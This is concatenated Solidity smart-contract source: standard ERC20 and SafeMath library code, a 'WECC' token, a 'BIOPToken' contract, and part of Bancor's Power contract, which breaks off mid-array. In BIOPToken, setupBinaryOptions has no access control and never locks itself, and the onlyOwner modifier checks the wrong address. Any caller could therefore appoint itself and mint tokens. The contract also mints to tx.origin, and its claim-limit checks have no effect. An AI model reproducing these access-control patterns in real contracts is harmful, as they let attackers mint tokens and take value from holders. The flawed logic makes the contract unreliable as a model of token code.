constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts\WECC.sol
pragma solidity ^0.7.6;
contract WECCToken is ERC20{
constructor() ERC20("Wrapped Epochal Cell Coin", "WECC") {
_mint(msg.sender, 80000000000000000000000000);
}
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/**
*Submitted for verification at Etherscan.io on 2021-01-31
*/
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BIOPToken is ERC20 {
using SafeMath for uint256;
address public binaryOptions = 0x0000000000000000000000000000000000000000;
address public gov;
address public owner;
uint256 public earlyClaimsAvailable = 450000000000000000000000000000;
uint256 public totalClaimsAvailable = 750000000000000000000000000000;
bool public earlyClaims = true;
bool public binaryOptionsSet = false;
constructor(string memory name_, string memory symbol_) public ERC20(name_, symbol_) {
owner = msg.sender;
}
modifier onlyBinaryOptions() {
require(binaryOptions == msg.sender, "Ownable: caller is not the Binary Options Contract");
_;
}
modifier onlyOwner() {
require(binaryOptions == msg.sender, "Ownable: caller is not the owner");
_;
}
function updateEarlyClaim(uint256 amount) external onlyBinaryOptions {
require(totalClaimsAvailable.sub(amount) >= 0, "insufficent claims available");
if (earlyClaims) {
earlyClaimsAvailable = earlyClaimsAvailable.sub(amount);
_mint(tx.origin, amount);
if (earlyClaimsAvailable <= 0) {
earlyClaims = false;
}
} else {
updateClaim(amount.div(4));
}
}
function updateClaim( uint256 amount) internal {
require(totalClaimsAvailable.sub(amount) >= 0, "insufficent claims available");
totalClaimsAvailable.sub(amount);
_mint(tx.origin, amount);
}
function setupBinaryOptions(address payable options_) external {
require(binaryOptionsSet != true, "binary options is already set");
binaryOptions = options_;
}
function setupGovernance(address payable gov_) external onlyOwner {
_mint(owner, 100000000000000000000000000000);
_mint(gov_, 450000000000000000000000000000);
owner = 0x0000000000000000000000000000000000000000;
}
}
/**
* @title Power function by Bancor
* @dev https://github.com/bancorprotocol/contracts
*
* Modified from the original by Slava Balasanov & Tarrence van As
*
* Split Power.sol out from BancorFormula.sol
* https://github.com/bancorprotocol/contracts/blob/c9adc95e82fdfb3a0ada102514beb8ae00147f5d/solidity/contracts/converter/BancorFormula.sol
*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements;
* and to You under the Apache License, Version 2.0. "
*/
contract Power {
string public version = "0.3";
uint256 private constant ONE = 1;
uint32 private constant MAX_WEIGHT = 1000000;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
/**
The values below depend on MAX_PRECISION. If you choose to change it:
Apply the same change in file 'PrintIntScalingFactors.py', run it and paste the results below.
*/
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
/**
Auto-generated via 'PrintLn2ScalingFactors.py'
*/
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80;
/**
Auto-generated via 'PrintFunctionOptimalLog.py' and 'PrintFunctionOptimalExp.py'
*/
uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000;
/**
The values below depend on MIN_PRECISION and MAX_PRECISION. If you choose to change either one of them:
Apply the same change in file 'PrintFunctionBancorFormula.py', run it and paste the results below.
*/
uint256[128] private maxExpArray;
constructor() public {
// maxExpArray[0] = 0x6bffffffffffffffffffffffffffffffff;
// maxExpArray[1] = 0x67ffffffffffffffffffffffffffffffff;
// maxExpArray[2] = 0x637fffffffffffffffffffffffffffffff;
// maxExpArray[3] = 0x5f6fffffffffffffffffffffffffffffff;
// maxExpArray[4] = 0x5b77ffffffffffffffffffffffffffffff;
// maxExpArray[5] = 0x57b3ffffffffffffffffffffffffffffff;
// maxExpArray[6] = 0x5419ffffffffffffffffffffffffffffff;
// maxExpArray[7] = 0x50a2ffffffffffffffffffffffffffffff;
// maxExpArray[8] = 0x4d517fffffffffffffffffffffffffffff;
// maxExpArray[9] = 0x4a233fffffffffffffffffffffffffffff;
// maxExpArray[10] = 0x47165fffffffffffffffffffffffffffff;
// maxExpArray[11] = 0x4429afffffffffffffffffffffffffffff;
// maxExpArray[12] = 0x415bc7ffffffffffffffffffffffffffff;
// maxExpArray[13] = 0x3eab73ffffffffffffffffffffffffffff;
// maxExpArray[14] = 0x3c1771ffffffffffffffffffffffffffff;
// maxExpArray[15] = 0x399e96ffffffffffffffffffffffffffff;
// maxExpArray[16] = 0x373fc47fffffffffffffffffffffffffff;
// maxExpArray[17] = 0x34f9e8ffffffffffffffffffffffffffff;
// maxExpArray[18] = 0x32cbfd5fffffffffffffffffffffffffff;
// maxExpArray[19] = 0x30b5057fffffffffffffffffffffffffff;
// maxExpArray[20] = 0x2eb40f9fffffffffffffffffffffffffff;
// maxExpArray[21] = 0x2cc8340fffffffffffffffffffffffffff;
// maxExpArray[22] = 0x2af09481ffffffffffffffffffffffffff;
// maxExpArray[23] = 0x292c5bddffffffffffffffffffffffffff;
// maxExpArray[24] = 0x277abdcdffffffffffffffffffffffffff;
// maxExpArray[25] = 0x25daf6657fffffffffffffffffffffffff;
// maxExpArray[26] = 0x244c49c65fffffffffffffffffffffffff;
// maxExpArray[27] = 0x22ce03cd5fffffffffffffffffffffffff;
// maxExpArray[28] = 0x215f77c047ffffffffffffffffffffffff;
// maxExpArray[29] = 0x1fffffffffffffffffffffffffffffffff;
// maxExpArray[30] = 0x1eaefdbdabffffffffffffffffffffffff;
// maxExpArray[31] = 0x1d6bd8b2ebffffffffffffffffffffffff;
maxExpArray[32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
